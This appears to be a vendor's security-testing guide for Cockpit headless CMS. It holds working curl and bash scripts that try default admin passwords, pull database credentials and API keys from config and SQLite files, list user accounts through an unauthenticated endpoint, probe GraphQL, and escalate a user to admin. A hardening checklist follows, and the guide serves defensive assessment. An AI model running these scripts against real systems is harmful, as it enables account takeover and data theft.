Headless CMS Security Testing

Cockpit CMS Security Testing: Default Credentials, API Key, Database, and Headless CMS

📅 July 3, 2026 ⏱ 10 min read 🏷 Cockpit CMS, Headless CMS Security, config.php, MongoDB, SQLite, REST API, API Key, GraphQL, Default Credentials, Account Enumeration, Privilege Escalation

Cockpit is a popular self-hosted headless CMS known for its simplicity and flexibility — developers use it to manage content for websites and applications. Key assessment areas: config/config.php exposes MongoDB connection strings or SQLite database paths; admin/admin is the common default credential; the REST API transmits API keys in cleartext query parameters; the /api/cockpit/accounts endpoint has historically returned all user data without authentication; and the GraphQL endpoint may be accessible without credentials. This guide covers systematic Cockpit CMS security assessment.

config.php Database Connection and API Key Extraction
REST API Key Abuse and Unauthenticated Account Enumeration
GraphQL Endpoint and Privilege Escalation Assessment
Cockpit CMS Security Hardening

config.php Database Connection and API Key Extraction

# Cockpit CMS — config.php database connection and credential extraction
COCKPIT_URL="https://cms.example.com"

# config/config.php — Cockpit main configuration
cat /var/www/cockpit/config/config.php 2>/dev/null
# Returns PHP array:
# 'database' => [
#   'server' => 'mongodb://localhost:27017',  <-- MongoDB connection string
#   'dbname' => 'cockpitdb',
# ],
# OR for SQLite:
# 'database' => [
#   'server' => 'sqlite://path/to/db.sqlite'
# ]

# Check for MongoDB credentials in connection string
grep -E "mongodb://" /var/www/cockpit/config/config.php 2>/dev/null
# mongodb://user:password@localhost:27017/cockpit
# If credentials are present, extract them

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "cockpit:cockpit"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${COCKPIT_URL}/api/cockpit/authUser" \
    -H "Content-Type: application/json" \
    -d "{\"user\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "${USER}/${PASS}: $(echo $RESPONSE | python3 -c "import json,sys; d=json.load(sys.stdin); print('SUCCESS - token:', d.get('api_key','')[:20])" 2>/dev/null || echo "FAILED")"
done

# API keys stored in SQLite database
sqlite3 /var/www/cockpit/storage/db.sqlite 2>/dev/null \
  "SELECT user, api_key FROM cockpit_accounts;" 2>/dev/null

REST API Key Abuse and Unauthenticated Account Enumeration

# Cockpit CMS REST API — API key abuse and unauthenticated account enumeration
COCKPIT_URL="https://cms.example.com"

# Test unauthenticated access to accounts endpoint (critical vulnerability in older versions)
# CVE: Cockpit versions prior to 0.11.2 expose /api/cockpit/accounts without authentication
curl -s "${COCKPIT_URL}/api/cockpit/accounts" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if isinstance(d, list):
        print(f'VULNERABLE: {len(d)} accounts exposed without authentication')
        for acc in d[:5]:
            print(f'  User: {acc.get(\"user\")} | Email: {acc.get(\"email\")} | API key: {acc.get(\"api_key\",\"\")}')
    elif 'error' in str(d):
        print(f'Protected (error response)')
except: print('Parse error or not JSON')
" 2>/dev/null

# With extracted API key — access all collections
API_KEY="api-key-from-db-or-accounts-endpoint"

# List all collections
curl -s "${COCKPIT_URL}/api/collections/listCollections?token=${API_KEY}" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); [print(f'  {c}') for c in d]" 2>/dev/null

# Read collection entries
curl -s "${COCKPIT_URL}/api/collections/get/posts?token=${API_KEY}" 2>/dev/null | head -5

# Access singleton data
curl -s "${COCKPIT_URL}/api/singletons/listSingletons?token=${API_KEY}" 2>/dev/null

# List all users via admin API key
curl -s "${COCKPIT_URL}/api/cockpit/accounts?token=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for acc in d:
        print(f'  {acc.get(\"user\")} | {acc.get(\"email\")} | role={acc.get(\"role\")} | key={acc.get(\"api_key\",\"\")[:20]}')
except: pass
" 2>/dev/null

GraphQL Endpoint and Privilege Escalation Assessment

# Cockpit CMS — GraphQL endpoint and privilege escalation assessment
COCKPIT_URL="https://cms.example.com"

# Test unauthenticated GraphQL access
curl -s -X POST "${COCKPIT_URL}/api/gql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}' 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if 'data' in d:
        types = [t['name'] for t in d['data']['__schema']['types'] if not t['name'].startswith('__')]
        print('GraphQL accessible without auth!')
        print(f'Types: {types[:10]}')
    else:
        print(f'Auth required: {d}')
except: pass
" 2>/dev/null

# GraphQL query for content (if accessible)
curl -s -X POST "${COCKPIT_URL}/api/gql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ find(collection:\"posts\") }"}' 2>/dev/null | head -5

# Privilege escalation via saveUser (older Cockpit versions)
# In some versions, an authenticated user can escalate to admin via /api/cockpit/saveUser
TOKEN="user-api-token"
curl -s -X POST "${COCKPIT_URL}/api/cockpit/saveUser" \
  -H "Content-Type: application/json" \
  -H "Cockpit-Token: ${TOKEN}" \
  -d '{"user":{"_id":"current-user-id","role":"admin"}}' 2>/dev/null | head -3

# Check accessible storage directories for direct file access
for PATH_CHECK in "storage/tmp" "storage/cache" "storage/uploads"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${COCKPIT_URL}/${PATH_CHECK}/" 2>/dev/null)
  echo "/${PATH_CHECK}/: HTTP ${STATUS}"
done

Cockpit CMS Security Hardening

Cockpit CMS Security Hardening Checklist:

Update to the latest Cockpit version and protect the /api/cockpit/accounts endpoint — early versions of Cockpit (prior to 0.11.2) exposed the /api/cockpit/accounts endpoint without authentication, returning all user records including API keys and password hashes; this unauthenticated account enumeration vulnerability is one of the most critical findings in Cockpit deployments; update to the latest version which requires authentication for account management operations; verify the fix by testing the endpoint without credentials and confirming a 401 or 403 response; additionally ensure that the config/ directory is not web-accessible since it contains the database connection string
Rotate API keys immediately after an exposure — Cockpit API keys are transmitted in cleartext query parameters (e.g., /api/collections/get/posts?token=API_KEY) and in the X-Cockpit-Token header; query parameter API keys are logged by web servers and may appear in browser history, referrer headers, and monitoring tools; if an API key has been exposed in a log or via the unauthenticated accounts endpoint, it must be regenerated immediately; API keys can be regenerated from the user profile in the Cockpit admin panel; consider implementing a reverse proxy that converts Authorization header tokens to query parameters so keys are not logged in access logs
Restrict the GraphQL endpoint and implement authentication — Cockpit's GraphQL endpoint at /api/gql may be accessible without authentication depending on configuration; the GraphQL introspection query can reveal the complete content schema and available types; in production, configure Cockpit to require API key authentication for all GraphQL queries; disable GraphQL introspection if it is not needed by your frontend; implement field-level access control to ensure that private or draft content is not accessible via GraphQL queries from unauthenticated clients
Change the admin/admin default credential and implement strong password policies — Cockpit's default credential set (admin/admin) is the most common finding in Cockpit assessments; the admin account has full access to content, collections, singletons, user management, and file uploads; change the admin password to a strong random value immediately; Cockpit stores passwords as SHA-1 hashes in older versions and bcrypt in newer versions — SHA-1 password hashes from an exposed database can be cracked extremely quickly; force a password reset for all users if the database has been exposed; implement minimum password length requirements in the admin panel settings
Protect file upload directories and restrict direct storage access — Cockpit stores uploaded files in the storage/uploads/ directory; depending on web server configuration, these files may be directly accessible without authentication at /storage/uploads/; configure the web server to restrict access to the storage/ directory and serve uploaded files only through authenticated Cockpit endpoints; be particularly cautious about file upload functionality — in some Cockpit versions, the file upload endpoint accepts any file type, enabling upload of PHP webshells to the storage directory which are then executable if the directory is web-accessible

Security Test	Method	Risk
Unauthenticated /api/cockpit/accounts account enumeration	GET /api/cockpit/accounts — all user records including API keys and password hashes returned without authentication in pre-0.11.2 versions	Critical
config.php MongoDB/SQLite connection string extraction	Read config/config.php — database server URL with optional embedded credentials; SQLite path enabling direct file access	Critical
Admin credential brute-force (admin/admin)	POST /api/cockpit/authUser — admin API key extraction; full content management and user admin access	High
REST API key query parameter logging and reuse	API keys in URL query parameters (?token=KEY) appear in web server access logs — extract from logs for reuse	High
GraphQL unauthenticated content access and introspection	POST /api/gql — introspection reveals schema; content queries return all published and draft content without authentication	High

Automate Cockpit CMS Security Testing

Ironimo tests Cockpit CMS deployments for unauthenticated /api/cockpit/accounts account enumeration with API key extraction, config/config.php MongoDB/SQLite connection string disclosure, admin/admin credential brute-force, REST API key cleartext query parameter transmission and log extraction, GraphQL /api/gql unauthenticated access and introspection, storage/ directory web-accessible assessment, file upload PHP webshell upload testing, privilege escalation via /api/cockpit/saveUser role modification, and collection/singleton enumeration with extracted API keys.

Start free scan

Table of Contents

config.php Database Connection and API Key Extraction

REST API Key Abuse and Unauthenticated Account Enumeration

GraphQL Endpoint and Privilege Escalation Assessment

Cockpit CMS Security Hardening

Automate Cockpit CMS Security Testing